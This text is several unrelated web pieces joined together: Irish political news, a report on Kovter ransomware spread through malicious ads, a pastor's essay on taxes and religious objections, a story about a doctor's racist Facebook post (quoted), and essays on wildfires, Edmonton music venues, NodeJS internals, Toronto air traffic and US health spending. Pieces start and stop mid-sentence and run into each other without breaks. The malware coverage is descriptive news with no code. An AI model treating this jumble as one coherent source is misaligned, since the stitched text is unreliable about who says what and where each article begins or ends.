Attending the event, Richard Bruton said he accepted that Fine Gael had "a struggle on our hands" in the upcoming election.
However, he added: "I think when it comes and people weigh up all the different alternatives, people will see the merit of what Enda has done over the last number of years."
The Taoiseach also took the opportunity to address his hectic schedule. In the course of two days, he travelled from England to Castlebar, on to Enniskillen and London. This will be followed by a meeting with David Cameron at Downing Street today for bilateral talks on Northern Ireland, with a possible return to Belfast to complete the talks before returning to the Dáil on Tuesday.
"This goes on 20 hours a day and despite all the stuff that goes on, despite all the cynicism, despite all the things that are said and done, it's a privilege to serve the people.
"A privilege, genuinely, because when you look back on it, they might not have been great days on some occasions but they were better than for a lot of other people who are suffering. And we have an opportunity to change that and change it we will if we get a chance."
Speaking in Enniskillen, where he was attending the annual Remembrance Day commemorations yesterday, Mr Kenny said he hoped a Stormont deal could be reached within days to resolve the political crisis.
Talks began in September, aimed at tackling the rows over welfare reform and paramilitarism.
Irish IndependentThis past week, The Huffington Post and several major websites displayed malware-laced advertisements that infected computers and locked them down.
The cyberattack and extortion campaign was discovered by researchers at cybersecurity firm Cyphort. The hackers are demanding money to unlock computers infected with their malware.
It's unclear how many computers were infected. The attack appears to have only affected people running Windows PCs using outdated browsers, including Internet Explorer 8 -- the most-used version of Microsoft's IE browser. Modern, updated browsers such as Internet Explorer 11, Google Chrome and Mozilla's latest version of Firefox were not susceptible to the malware.
The malware ran on ads served by AOL's network between Dec. 31 until Jan. 5, researchers said. It's possible that the campaign stretched as far back as October.
If you were using an older browser, merely visiting a website was enough to get hit with the malware. When ads appeared, they silently infected computers. People didn't even have to click on them.
It affected ads displayed on The Huffington Post, men's magazine FHM, alternative newspapers LA Weekly and Houston Press, video game site GameZone, and many others.
FHM's publisher, Bauer Media UK, said it's now asking its advertising partner, The Rubicon Project (RUBI), to investigate the matter.
None of the other websites responded to questions from CNNMoney.
AOL spokesman Gerasimos Manolatos said the company "quickly took the necessary steps to rectify" and said "AOL is committed to bringing new levels of transparency to the advertising process, ensuring ads uphold quality standards and create positive consumer experiences."
However, AOL would not say how many people were exposed to the poison ads.
The malicious software is called Kovter, a nasty strain of so-called ransomware. Once infected, the computer cuts off access to the keyboard and mouse. The screen is blocked with a message claiming to be from law enforcement. It claims you've viewed child pornography and demands a $300 "fine" -- suspiciously payable only via hard-to-trace, pre-paid Mastercard and Visa cards from MoneyPak.
The malware figures out your computer's location, and tailors the message accordingly. American computers get a fake message from the FBI. Those in France see one from la Police nationale. There are custom messages for Germans, Turks and U.K. residents too.
There's hope, though. Unlike its nastier cousins CryptoLocker and Cryptowall, the Kovter malware doesn't encrypt your files. It just blocks you. So you can get access back if you reboot your computer in "safe mode," launch an antivirus software such as MalwareBytes, and clean your computer.
How it happened
Many websites rely on third-party advertising networks that deliver ads to your screen. It's an automated, complicated marketplace. Deals get made in milliseconds.
The sheer speed of buying and selling online ads lets criminals easily pose as legitimate customers with normal-looking ads. But those advertisements are actually laced with malware.
Malvertising, as it's called, is hard to catch. One scan isn't enough. Ads aren't static pictures anymore. Ads deliver a stream of information that's fed to them from a computer server, and that source can be changed repeatedly.
In this case, Cyport explained, AOL's alarms didn't go off because the ad redirected its source eight times -- ending up at a shady Polish website's server.
Nick Bilogorskiy, Cyphort's security research director, said this malvertisement targeted every single visitor to HuffingtonPost.com.
"These criminals really turned up the exposure and tried to compromise lots of people," he said. "It's unprecedented. We've never seen it at this scale."
Bilogorskiy's team, which scans the Internet for malware, is now reviewing records to see how far back the campaign goes.
Cyphort said it alerted AOL on Jan. 3. AOL (AOL) shut down the malvertisements two days later.
Google's software was also used to deliver the malvertisements, Cyphort said. Google (GOOG) did not respond to questions for comment.
"Malvertising is a big problem," Bilogorskiy said. "We're seeing it getting worse, and we're expecting it to get really bad in 2015."
Related: Hackers down German government websitesAfter reading through some of the recaps of the oral arguments at SCOTUS yesterday in Sebelius v. Hobby Lobby Stores and Conestoga Wood Specialties v. Sebelius, it appears that some of the justices, and perhaps a majority, are willing to allow private religious objections to trump the laws, regulations, and ordinances enacted by local, state, and federal governments. Just so that no one is surprised later, I thought I’d lay out some of my strongly held religious beliefs now.
I have a strong religious objection to the death penalty, yet for the fifth time in five months, my state of Missouri has spent my tax dollars to carry it out. At the foundation of the Christian church — the Lutheran branch of which I am pleased to serve as a pastor — is the story of the execution of Jesus at the hands of the state and his resurrection three days later, through which God says “No” to the death-dealing forces of the world. My tax dollars are spent at the state and federal level to support exactly this system of vengeance, not justice, which all too often is administered in a way that is irregular at best and occasionally flat out wrong at worst.
I also have a strong religious objection to torture, yet my state and federal government continue to spend millions of tax dollars on that form of torture known as “solitary confinement,” and tens or hundreds or thousands of millions on “enhanced interrogations” and the hiding thereof from the oversight of the courts. Indeed, I have strong religious objections to NOT spending my tax dollars to bring the perpetrators and enablers of torture to justice.
I have strong — very strong — religious objections to the unequal treatment of people before the law, yet the Department of Justice seems bent on spending my tax dollars and the tax dollars of similarly-minded folks by the millions to chase the poor and powerless into prison while giving the wealthy and powerful sternly worded letters and a good talking-to. In the financial fraud around the housing market, homeowners are hounded and unscrupulous mortgage dealers are allowed to roam free. During the recent Lesser Depression, homeowners pushed underwater by the practices of their banks have suffered greatly (“We’re sorry, but your equity has disappeared because the property values have fallen so much because we crashed the economy”), yet the SEC and DOJ use my tax dollars to go to great extremes to settle civil litigation with the the banks in such a toothless fashion that the board of JPMorgan Chase gave Jamie Dimon a 74% raise after guiding them through with only a slap on the corporate wrist. And you don’t want to know how strongly I object on religious grounds to the failure of the DOJ to pursue criminal rather than civil penalties...
I have viscerally strong religious objections to sexual abuse, yet the military paid for with my tax dollars continues to turn a blind eye to the climate in the military that leads thousands of those in the ranks to not report the harassment, abuse, and rapes they have suffered at the hands of their colleagues and commanders, and that allows far too many of those against whom reports of abuse were filed to avoid accountability. Similarly, I have strong religious objections to NOT spending my tax dollars to do this on every US military base and port and outpost.
I have extremely strong religious objections using my tax dollars to administer the public law in secret, with secret judicial proceedings, secret decisions, and secret sentences.
I have powerfully strong religious objections to using my tax dollars to carry out executive decisions made on the basis of secret evidence to violate the sovereign territory of other nations in order to remotely execute those with whom they disagree, without allowing the accused an opportunity to know the accusations against them, to state their case, to respond to the allegations, or even to publicly confront their accuser. I especially object when such executions are carried out against an anonymous targets based on undefined notions of “suspicion” and “association.”
I have seriously strong religious objections to using my local, state, and federal taxes to provide a public education to my child and the children of my neighbors that is incomplete (such as abstinence-only sex education), or based on disproven science, pseudo-conflicts, and unproven beliefs. The earth is round, old, and getting warmer by the day because of human activity. There is no serious scientific objection to these concepts, and I strongly object on religious grounds to using my tax dollars to teach otherwise. more…UPDATE: Dr. Michelle Herren is losing her teaching position and resigning from Denver Health
Michelle Herren, a pediatric anesthesiologist for Denver Health, won’t be seeing patients until further notice.
Yesterday, reports of her comments on Facebook about First Lady Michelle Obama spread quickly across local media and social networks. She contends that her comments were taken out of context.
What she posted:
The message has since been removed, but not before multiple news outlets reported it. First, Herren reportedly posted a photo taken of Michelle Obama where she is speaking loudly.
“Doesn’t seem to be speaking too eloquently here, thank god we can’t hear her!” the caption read, according to The Denver Post and ABC7. “Harvard??? That’s a place for ‘entitled’ folks said all the liberals!”
(For the record, I also have no idea what the Harvard part means.)
Later, Herren reportedly added this comment: “Monkey face and poor ebonic English!!! There! I feel better and am still not racist!!! Just calling it like it is!”
“Monkey” has long been a derogatory way to refer to black people in the U.S. and abroad. “Ebonics” is a dated term referring to the many styles of speech and accents that have their roots in black communities.
Her excuse:
As you saw, Herren says this is “not racist.” She told ABC7 that the comment was taken “out of context.”
First, she insists that “she didn’t realize the term ‘monkey face’ is offensive,” according to ABC7. The report didn’t address her views on the word “ebonic.”
Further, “Herren said she was responding to another post pointing out people say whatever they want about Melania Trump, but if they do the same about Michelle Obama they’re considered racist.”
Denverite has not been able to reach Herren for further comment.
The hospital’s reaction:
Initially, Denver Health disavowed the comments (they don’t “align with Denver Health’s mission and values”) but held back from punishing Herren, saying that the organization “cannot control the opinions our staff choose to express as private individuals.”
However, the hospital issued a second statement late Wednesday night saying that Herren will not be seeing patients or providing services at Denver Health until further notice. It’s unclear whether she will be paid during that time. Her annual salary is reportedly $363,000.
A hospital spokeswoman said she could not say more about the apparent change in Denver Health’s response, and could not say whether Herren would be paid while she was suspended.
Herren also is an assistant professor at CU Anschutz Medical Campus. It appears her work there has not yet been affected.
The dean of the School of Medicine, John J. Reilly, has “communicated |
been implicated in deadly fires, notably the 1991 Oakland Tunnel fire that killed 25 people.)
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The other means of managing fuel is recycling the plant matter biologically. This could be by way of animals that eat the plants or, says Jehne,“fungi that can break down litter or fuel into organic matter and reincorporate it into the soil where it is safe from fire.” Either way, plant debris is returned to the soil so that the ground becomes a sponge for rain and dew, thereby creating a fertile environment for plants to thrive, draw down carbon and cycle water. All of which make uncontrolled fires less likely.
"We can think of climate change as the manifestation of disrupted carbon, water, nutrient and solar cycles."
We can think of unbridled wildfires as a result of climate change, as well as a contributor to it. Extensive bush and grassfires spark a negative spiral that leads to more greenhouse gas emissions—in Australia, annual CO2 emissions from fire exceeds that of fossil fuels—dry, tinderbox conditions, and bare soil unwelcoming to plants and vulnerable to erosion. When sunlight beams down the ground gets a direct hit, without the cooling effect of water transpiring through plants. The alternative scenario, in which the land holds moisture and would-be fire fuel is processed biologically, encourages what we want: living soil that stores, rather than releases, carbon; plants providing food and shelter for animals, birds and insects; water cycling within the system rather than evaporating or rushing away.
In other words, climate change isn’t merely a looming specter that’s tied up in physics and the fiat of large corporate and governmental entities. It’s also about what we do with land. Climate dynamics are too complex to be reduced solely to an equation involving CO2. Rather, we can think of climate change as the manifestation of disrupted carbon, water, nutrient and solar cycles. With this approach, we see that wildfires—along with droughts, floods, heat waves and other problems associated with climate change—are not inevitable. In my travels reporting on ecological restoration I’ve seen numerous instances of people allying with natural processes that hold water on the land, and seeing multiple benefits including reduced risk and impact of fires. Chris Henggeler, who manages a parcel in Western Australia the size equivalent of New York’s five boroughs, has minimized fire damage by keeping water in springs and creeks longer into the dry season, installing fire breaks, and making use of dew, which he calls integral to the “micro-water cycle”.
As we look toward future fire seasons, there is indeed much we can do to douse the flames—and curtail the degree of flames need dousing to begin with.Last fall, Edmonton’s music scene was in crisis.
Five live music venues closed their doors in 2015, prompting drummer Thom Bennett to mobilize musicians, promoters, city officials, journalists, radio hosts and club owners in an effort to strengthen the scene.
As part of the Edmonton Live Music Initiative, they came up with several solutions — including the possibility of longer serving hours at live music venues. More alcohol sales would lead to more bar revenues, which would lead to more stability and better paydays for musicians, according to proponents.
One year later, the state of the scene seems much healthier. At least five new venues opened in 2016, including The Needle Vinyl Tavern on Jasper Avenue, The Chvrch of John on 103 Street, The Rec Room in South Edmonton Common, and The Sewing Machine Factory on Whyte Avenue.
Does this mean the end of ELM?
Not at all.
Last December, musician and New Democratic MLA David Shepherd presented a motion in the legislature to explore the feasibility of extending serving hours by an hour to 3 a.m. His motion passed — and then Shepherd and Bennett consulted with members of Alberta’s music and hospitality industries.
As a result of those consultations, Bennett hopes to launch a trial run with the help of the City of Edmonton and the Alberta Gaming and Liquor Commission. He wants to focus on one particular (but yet-to-be-determined) district of live music venues in the city.
“We hope to do a trial week of longer serving hours in a specific area, just so it’s more contained and we can get some metrics out of it,” he says.
Longer serving hours won’t only benefit the scene, they might also ease crime. “There’s research that if everyone exits at the same time and needs services — like washrooms, food, transportation — in a limited area, that’s when more incidents happen,” says Bennett. “But if some people leave at 2 a.m. and some leave at 3 a.m., it might be easier to get an Uber or the hotdog stand might not have a lineup.”
Another promising possibility came out of the consultations conducted by Shepherd and Bennett — allowing underage musicians to perform in licensed venues again. In 2007, the AGLC banned minors from working (or playing) in bars and lounges.
Based on his discussions with the AGLC, Shepherd says the commission’s board of directors “is open” to reconsidering the matter. An AGLC spokesperson says the board is reviewing policy on an ongoing basis and should have a decision sometime in 2017.
Shepherd believes it’s important to allow underage musicians to practise their craft in all types of venues, licensed or not.
“When you have kids in school who are doing really, really well in a class, you try to give them more opportunities to get out and try things,” he says.
“For things like music and the arts, it’s the doing that’s the apprenticeship in a lot of ways. So young players who are significantly advanced — and we have a lot of opportunities for that, thanks to the School of Song and Backbeat, who are teaching kids to play — they need to have somewhere to go with that. (Playing in bars is) a fantastic experience and helps them advance their craft and gets them more prepared to be a part of the industry.”
In addition to advocating for these changes, the ELM Initiative also hopes to build more awareness for the music scene as a whole. In the works are a web portal to promote local music content and venues, as well as an ad campaign.
ssperounes@gmail.com
twitter.com/SperounesHow does NodeJS work?
Eugene Obrezkov Blocked Unblock Follow Following Aug 22, 2015
Hi everyone! My name is Eugene Obrezkov and today I want to talk about one of the “scariest” platforms — NodeJS. I’m going to answer one of the most complicated questions about NodeJS — “How does NodeJS work?”.
I’m going to present this article as if NodeJS didn’t exist at all. This way, it should be easier for you to understand what’s going on under the hood.
Code found in this post is taken from existing NodeJS sources, so after reading this article, you should be more comfortable with NodeJS.
What do we need this for?
The first question that may come to your mind — “What do we need this for?”.
Here, I’d like to quote Vyacheslav Egorov: “The more people stop seeing JS VM as a mysterious black box that converts JavaScript source into some zeros-and-ones the better”. The same idea applies to NodeJS: “The more people stop seeing NodeJS as a mysterious black box that runs JavaScript with low-level API the better”.
Just Do It!
Let’s go back to 2009, when NodeJS started its way.
We’d like to run JavaScript on backend and get access to low-level API. We also want to run our JavaScript from CLI and REPL. Basically, we want JavaScript to do everything!
How would we do this? The first thing that comes to my mind is…
Browser
Browser can execute JavaScript. So we can take a browser, integrate it into our application and that’s it.
Not really! Here are the questions that need to be answered.
Does browser expose low-level API to JavaScript? — No!
Does it allow to run JavaScript from somewhere else? — Both yes and no, it’s complicated!
Do we need all the DOM stuff that browser gives us? — No! It’s overhead.
Do we need browser at all? — No!
We don’t need that. JavaScript is executed without browser.
If browser is not a requirement for executing JavaScript, what does execute JavaScript then?
Virtual Machine (VM)
Virtual Machine executes JavaScript!
VM provides a high-level abstraction — that of a high-level programming language (compared to the low-level ISA abstraction of the system).
VM is designed to execute a single computer program by providing an abstracted and platform-independent program execution environment.
There are lots of virtual machines that can execute JavaScript including V8 from Google, Chakra from Microsoft, SpiderMonkey from Mozilla, JavaScriptCore from Apple and more. Choose wisely, because it may be a decision you may regret for the rest of your life :)
I suggest that we choose Google’s V8, why? Because it’s faster than other VMs. I think you’ll agree that execution speed is important for backend.
Let’s take a look at V8 and how it can help to build NodeJS.
V8 VM
V8 can be integrated in any C++ project. Just take V8 sources and include them as a simple library. You are now able to use V8 API that allows you to compile and run JavaScript code.
V8 can expose C++ to JavaScript. It’s very important as we want to make low-level API available within JavaScript.
Those 2 points are enough to imagine rough implementation of our idea — “How we can run JavaScript with access to low-level API”.
Let’s draw a line here about all this stuff above, because in the next chapter we will start with C++ code. You can take Virtual Machine, in our case V8 -> integrate it in our C++ project -> expose C++ to JavaScript with V8 help.
But how can we write C++ code and make it available within JavaScript?
V8 Templates
Via V8 Templates!
A template is a blueprint for JavaScript functions and objects. You can use a template to wrap C++ functions and data structures within JavaScript objects.
For example, Google Chrome uses templates to wrap C++ DOM nodes as JavaScript objects and to install functions in the global scope.
You can create a set of templates and then use them. Accordingly you have as many templates as you want.
And V8 has two types of templates: Function Templates and Object Templates.
Function Template is the blueprint for a single function. You create a JavaScript instance of template by calling the template’s GetFunction method from within the context in which you wish to instantiate the JavaScript function. You can also associate a C++ callback with a function template which is called when the JavaScript function instance is invoked.
Object Template is used to configure objects created with function template as their constructor. You can associate two types of C++ callbacks with object templates: accessor callback and interceptor callback. Accessor callback is invoked when a specific object property is accessed by a script. Interceptor callback is invoked when any object property is accessed by a script. In a nutshell, you can wrap C++ objects\structures within JavaScript objects.
Take a look at this simple example. All this does is expose C++ method LogCallback into global JavaScript context.
V8 Function\Object Templates
At line #2 we are creating new ObjectTemplate. Then at line #3 we are creating new FunctionTemplate and associate C++ method LogCallback with it. Then we are setting this FunctionTemplate instance to ObjectTemplate instance. At line #9 we are just passing our ObjectTemplate instance to new JavaScript context, so that when you run JavaScript in this context, you’ll be able to call method log from global scope. As a result, C++ method, associated with our FunctionTemplate instance, LogCallback, will be triggered.
As you see, it’s similar to defining objects in JavaScript, only in C++.
By now, we learned how to expose C++ methods\structures to JavaScript. We will now learn how to run JavaScript code in those modified contexts. It’s simple. Just compile and run principle.
V8 Compile && Run JavaScript
If you want to run your JavaScript in created context, you can make just 2 simple API calls to V8 — Compile and Run.
Let’s take a look at this example, where we are creating new Context and running JavaScript inside.
V8 Compile && Run JavaScript
At line #2 we are creating JavaScript context (we can modify it with templates described above). At line #5 we are making this context active for compiling and running JavaScript code. At line #8 we are creating new string from JavaScript source. It can be hardcoded, read from file or any other way. At line #11 we are compiling our JavaScript source. At line #14 we are running it and expecting results. That’s all.
Finally, we can create simple NodeJS, combining all the techniques described above :)
C++ -> V8 Templates -> Run JavaScript ->?
You can create VM instance (also known as Isolate in V8) -> create as much FunctionTemplate instances, with assigned C++ callbacks, as you want -> create ObjectTemplate instance and assign all created FunctionTemplate instances to it -> create JavaScript context with global object as our ObjectTemplate instance -> run JavaScript in this context and voila -> NodeJS. Sweet!
But what is the question mark after “Run JavaScript” in chapter’s title? There is a little problem with implementation above. We missed one very important thing.
Imagine, that you wrote a lot of C++ methods (around 10k SLOC) which can work with fs, http, crypto, etc… We have assigned them [C++ callbacks] to FunctionTemplate instances and import them [FunctionTemplate] in ObjectTemplate. After getting JavaScript instance of this ObjectTemplate we have access to all of the FunctionTemplate instances from JavaScript via global scope. Looks like everything works great, but…
What if we don’t need fs right now? What if we don’t need crypto features at all? What about not getting modules from global scope, but requiring them on demand? What about not writing C++ code in one big file with all the C++ callbacks in there? So question mark means…
Modularity!
All those C++ methods should be split in modules and located in different files (it simplifies the development) so that each C++ module corresponds to each fs, http or any other feature. The same logic is in JavaScript context. All the JavaScript modules must not be accessible from global scope, but accessible on demand.
Based on these best practices we need to implement our own module loader. That module loader should handle loading C++ modules and JavaScript modules so that we can grab C++ module on demand from C++ code and the same for JavaScript context — grab JavaScript module on demand from JavaScript code.
Let’s start with C++ Module Loader first.
C++ Module Loader
There will be a lot of C++ code here, so try not to lose your mind :)
Let’s start with basics of all module loaders. Each module loader must have a variable that contains all modules (or information on how to get them). Let’s declare C++ structure to store information about C++ modules and name it node_module.
node_module structure in NodeJS
We can store information about existing modules in this structure. As a result we have a simple dictionary of all available C++ modules.
I’m not going to explain all the fields from the structure above, but I want you to pay attention to one of them. In nm_filename we can store filename of our module, so we know where to load it from. In nm_register_func and nm_context_register_func we can store functions that we need to call when module is required. These functions will be responsible for instantiating Template instance. And nm_modname can store module name (not filename).
Next, we need to implement helper methods that work with this structure. We can write a simple method that can save information to our node_module structure and then use this method in our module definitions. Let’s call it node_module_register.
NodeJS Native Module register method
As you can see, all we are doing here is just saving new information about module into our structure node_module.
Now we can simplify registering process using a macro. Let’s declare a macro that you can use in your C++ module. This macro is just a wrapper for node_module_register method.
NodeJS Native Module register macros
First macro is a wrapper for node_module_register method. The other one is just a wrapper for previous macro with some predefined arguments. As a result we have a macro that accepts two arguments: modname and regfunc. When it’s called, we are saving new module information in our node_module structure. What do modname and regfunc mean? Well… modname is just our module name, like fs, for instance. regfunc is a module method that we talked about earlier. This method should be responsible for V8 Template initialization and assigning it to ObjectTemplate.
As you can see, each C++ module can be declared within a macro that accepts module name (modname) and initialization function (regfunc) that will be called when module is required. All we need to do is just create C++ methods that can read that information from node_module structure and call regfunc method.
Let’s write a simple method that will search for module in node_module structure by its name. We’ll call it get_builtin_module.
Lookup for registered native module
This will return previously declared module if name matches the nm_modname from node_module structure.
Based on information from node_module structure, we can write a simple method that will load the C++ module and assign V8 Template instance to our ObjectTemplate. As a result, this ObjectTemplate will be sent as a JavaScript instance to JavaScript context.
Load bindings and send it to JavaScript context
A few notes regarding the code above. Binding takes module name as an argument. This argument is a module name that was given by you via macro. We are looking for information about this module via get_builtin_module method. If we find it, we call initialization function from this module, sending some useful arguments like exports. exports is an ObjectTemplate instance, so we can use V8 Template API on it. After all these operations, we get the exports object that we get as a result from Binding method. As you remember, ObjectTemplate instance can return JavaScript instance and that’s what Binding does.
The last thing we should do is make this method available from JavaScript context. This is done at the last line by wrapping Binding method in FunctionTemplate and assigning it to global variable process.
At this stage, you are able to call process.binding(‘fs’) for instance, and get native bindings for it.
Here is an example of a built-in module with omitted logic for simplicity.
NodeJS V8 Native Module example
The code above will create a binding with a name “v8” that exports JavaScript object, so that calling process.binding(‘v8’) from JavaScript context gets this object.
Hopefully you are still following along.
Now we should make JavaScript Module Loader that will help us do all the neat stuff like require(‘fs’).
JavaScript Module Loader
Great, thanks to our latest improvements, we can call process.binding() and get access to C++ bindings from JavaScript context. But this still does not resolve the issue with JavaScript modules. How can we write JavaScript modules and require them on demand?
First of all, we need to understand that there are two different types of modules. One of them is JavaScript modules that we write alongside with C++ callbacks. In a nutshell, these are NodeJS built-in modules, like fs, http, etc… Let’s call these modules NativeModule. The other type are modules in your working directory. Let’s call them just Module.
We need to be able to require both types. That means we need to know how to grab NativeModule from NodeJS and Module from your working directory.
Let’s start with NativeModule first.
All JavaScript native modules are located within our C++ project in another folder. That means that all of JavaScript sources are accessible at compile-time. This allows us to wrap JavaScript sources into a C++ header file, that we can use in the future.
There’s a Python tool called js2c.py for this (located under tools/js2c.py). It generates node_natives.h header file with wrapped JavaScript code. node_natives.h can be included in any C++ code to get JavaScript sources within C++.
Now that we can use JavaScript sources in C++ context — let’s try it out. We can implement a simple method DefineJavaScript that gets JavaScript sources from node_natives.h and assigns them to ObjectTemplate instance.
NodeJS DefineJavaScript for Native Module
In the code above, we are iterating through each native JavaScript module and setting them into ObjectTemplate instance with module name as a key and module itself as a value. The last thing we need to do is call DefineJavaScript with ObjectTemplate instance as target.
Binding method comes in handy here. If you look at our Binding C++ implementation (C++ Module Loader section), you’ll see that we hardcoded two bindings: constants and natives. Thus, if binding’s name is natives then DefineJavaScript method is called with environment and exports objects. As a result, JavaScript native modules will be returned when calling process.binding(‘natives’).
So, that’s cool. But another improvement can be made here by defining GYP task in node.gyp file and calling js2c.py tool from it. This will make it so that when NodeJS is compiling, JavaScript sources will also be wrapped into node_natives.h header file.
By now, we have JavaScript sources of our native modules available as process.binding(‘natives’). Let’s write simple JavaScript wrapper for NativeModule now.
NodeJS JavaScript Native Module
Now, to load a module, you call NativeModule.require() method with module name that you want to load. This will first check if module already exists in cache, if so — gets it from cache, otherwise the module is compiled, cached and returned as exports object.
Let’s take a closer look at cache and compile methods now.
All cache does is just setting NativeModule instance to static object _cache located in NativeModule.
More interesting is the compile method. First, we are getting sources of required module from _source (we set this static property with process.binding(‘natives’)). We are then wrapping them in a function with wrap method. As you can see, resulting function accepts exports, require, module, __filename and __dirname arguments. Afterwards, we call this function with required arguments. As a result, our JavaScript module is wrapped in scope that has exports as pointer to NativeModule.exports, require as pointer to NativeModule.require, module as pointer to NativeModule instance itself and __filename as a string with current file name. Now you know where all the stuff like module and require is coming from in your JavaScript code. They are just pointers to NativeModule instance :)
Another thing is Module loader implementation.
Module loader implementation is basically the same as with NativeModule, the difference is that sources are not taken from node_natives.h header file, but from files that we can read with fs native module. So we are doing all the same stuff as wrap, cache and compile, only with sources read from file.
Great, now we know how to require native modules or modules from your working directory.
Finally, we can write a simple JavaScript module that will run each time NodeJS is run and prepare the NodeJS environment using all of the stuff above.
NodeJS Runtime Library?
What is a runtime library? It’s a library that prepares the environment, setting global variables process, console, Buffer, etc, and runs the main script that you send to NodeJS CLI as an argument. It can be achieved with a simple JavaScript file that will be executing at NodeJS runtime before all other JavaScript code.
We can start with proxying all our native modules to global scope and setting up other global variables. It’s just a lot of JavaScript code that does something like global.Buffer = NativeModule.require(‘buffer’) or global.process = process.
Second step is running the main script which you send in NodeJS CLI as an argument. Logic is simple here as well. It just parses process.argv[1] and creates Module instance with its value as a constructor value. So, Module is able to read sources from file -> cache and compile it as NativeModule does with precompiled JavaScript sources.
There’s not much I can add here, it’s really very simple, if you want more details though, you can take a look at src/node.js file in node repository. This file is executing at NodeJS runtime and uses all the techniques, described in this article.
This is how NodeJS is able to run your JavaScript code with access to low-level API. Cool, isn’t it?
But all of the above can’t do any asynchronous stuff yet. All the operations like fs.readFile() are fully synchronous at this point.
What do we need for asynchronous operations? An event loop…
Event Loop
Event loop is message dispatcher that waits for and dispatches events or messages in a program. It works by making a request to some internal or external event provider (which generally blocks the request until an event has arrived), and then it calls the relevant event handler (dispatches the event). The event loop may be used in conjunction with a reactor if the event provider follows the file interface which can be selected or polled. The event loop almost always operates asynchronously with the message originator.
V8 can accept event loop as an argument when you are creating V8 Environment. But before setting up an event loop to V8 we need to implement it first…
Finally, we already have that implementation which is called libuv. It’s responsible for all the asynchronous operations like read file and others. Without libuv NodeJS is just a synchronous JavaScript\C++ execution.
So, basically, we can include libuv sources into NodeJS and create V8 Environment with libuv default event loop in there. Here is an implementation of it.
NodeJS Create Environment
CreateEnvironment method accepts libuv event loop as a loop argument. We are able to call Environment::New from V8 namespace and send there libuv event loop, and then configure it in V8 Environment. That’s how NodeJS became asynchronous.
I’d like to talk about libuv more and tell you how it works, but that’s another story for another time :)
Thanks!
Thanks to everyone who has read this post to the end. I hope you enjoyed it and learned something new. If you found any issues or something, feel free to comment and I’ll reply as soon as possible.
Eugene Obrezkov aka ghaiklor, Technical Leader at Onix-Systems, Kirovohrad, Ukraine.cityscape Tracking Traffic Over Toronto
Where every lane's an HOV lane
It’s no secret the daily commute in and out of Toronto is dreadful. No one needs reminding—our city’s traffic congestion ranks among the world’s worst.
Don’t despair. There’s a place right here in, or rather, above Toronto, where on average 90,000 commuters regularly enter and leave the city, yet traffic flow continues interrupted.
Orderly, organized, and exceedingly safe, on this highway in the sky, every lane is an HOV lane.
At first glance, the red and blue interconnected circuit board–like contours appear as nothing more than a tangle of lines superimposed over a map of the Greater Toronto Region. But trace each line to its source and you’ll discover all lead back to one of Pearson International Airport’s five runways.
Flight control masterminds at NAV CANADA, the corporation responsible for air navigation within Canada, gave Torontoist two intriguing maps, each showing a four-hour window into flight activity in and out of Pearson.
Ranking 18th in the world for aircraft volume, the single YYZ control tower, manned by NAV CANADA staff, handles approximately 1,200 flights per day. Between cargo and passenger flights, air traffic flow at Pearson is constant.
There’s even a jumbo jet rush hour. Coincidentally, sky traffic peaks around the same time it does down here on the ground, during the afternoon drive.
YYZ’s most frequently used runways are 23, 24 right, and 24 left. That means the majority of approach and departure routes over the city have an east-west trajectory.
Judging by the interwoven departure and arrival routes on the map, though, it’s not as straightforward as this.
In their gradual descent or sharp ascent, airplanes zigzag over Toronto. Consider an airplane that’s cleared to land on 24 left. Advancing toward the Lake Ontario shoreline around the Humber River, the plane is actually flying perpendicular to its intended runway. To compensate, the pilot banks northeast, traversing central Toronto. Next, in an area roughly above the 401 and Yonge Street, the plane hangs a left, heading due north, performing a wide, 180-degree arch. From here, the plane manoeuvres into position for its final approach.
Judging from NAV CANADA’s map routes, on final approach, all air traffic enters a kind of airplane chute. Flights approaching Pearson from the north are funnelled along a parallel course.
Note how NAV CANADA staggers flight routes. Successive airplanes banking into their final approach do so by venturing farther east into airspace above Scarborough.
The afternoon these NAV CANADA images were created, wind and weather patterns favoured Pearson’s second busiest airstrips—05, 06 right, and 06 left. These runways mirror 23, 24 right, and 24 left.
Departing planes using 05, 06 right, and 06 left ascend quickly, gaining altitude over the communities of Rexdale, Downsview, and North York. Once at their designated ceiling, they fan out over the city.
Considering how well NAV CANADA keeps traffic moving above Toronto, maybe they could be convinced to construct a few control towers in Toronto. That might be the solution to getting traffic down here moving again.This post is cited as a “must read” in the 14 October 2010 edition of Health Wonk Review.
Wow.
After I wrote this post, you all went crazy. While few of you were arguing with my main point (that obesity isn’t to blame for our high health care costs), you all wanted to know what makes our health care system so expensive. You all want to know where the money is going.
The quick answer I give my students is that it is multifactorial. But I know that’s flippant and that this is an opportunity to do better. So I am going to. You deserve it.
I will be endeavoring this week (and further) to give you better answers. I’m going to draw heavily on the McKinsey & Company paper I have referenced in the past, supplementing that when appropriate. I’m also basing much of this on an important point made by Uwe Reinhardt and colleagues in their paper U.S. Health Care Spending In An International Context: Why is U.S. spending so high, and can we afford it?:
No single factor explains the levels or rates of increase in health spending among industrialized countries. However, ability to pay, as measured by GDP per capita, has repeatedly been shown to be one of the most important factors. About 90 percent of the observed cross-national variation in health spending across the OECD countries in 2001 can be explained simply by GDP per capita.
In other words, the vast majority of health care spending can be explained by wealth. As countries become wealthier, they spend more on health care, and they do so in a predictable fashion. At least, most of them do.
Let’s start here:
What you are seeing is a chart comparing health care spending to GDP. No one is making the argument that we should not be spending more on health care than other countries. We are richer, and it is appropriate that we therefore spend more. We would expect to get better outcomes* for that extra spending, which would also be appropriate.
But as you can see, almost every other country lines up on an almost straight line. There is a very stable relationship between how much money a country has in terms of GDP per capita, and how much it spends on health care. As countries become wealthier (moving to the right on the x-axis), they spend more on health care (moving up the y-axis). These countries aren’t working in concert. Nor are their systems the same (regardless what you’ve heard). And yet, they all seem to have found the sweet spot. They all seem to have found the same ratio of wealth to spending.
This makes sense in its own way. At some point, you can spend more money and not get the same rate of return. At some point, you exhaust your resources and you’re wasting money. It is not inconceivable that most systems find an equilibrium. That is likely along the line.
There is one exception – the United States. We are way above that line. Moreover, it’s debatable that we are achieving better outcomes than these other countries. That would suggest that the money we are spending above the line might be, for lack of a better word, waste. Regardless, that money is more than you might expect, based on every other country in the world. If we explore how that extra money is being spent, we can start to think about where spending might be cut.
This is the concept that I will follow through this series. I am going to talk about the money we spend that is more than you’d expect given our wealth. It is the money that we spend above the line. It’s the money that we likely could focus on first as something potential to cut. It’s the money that is most likely to be the least cost-effective.
Make no mistake, though. These decisions won’t be popular. They won’t be easy. That orange line, the spending above what you’d expect for our wealth, though, accounted for $643 billion in 2006. It’s more now. It’s huge.
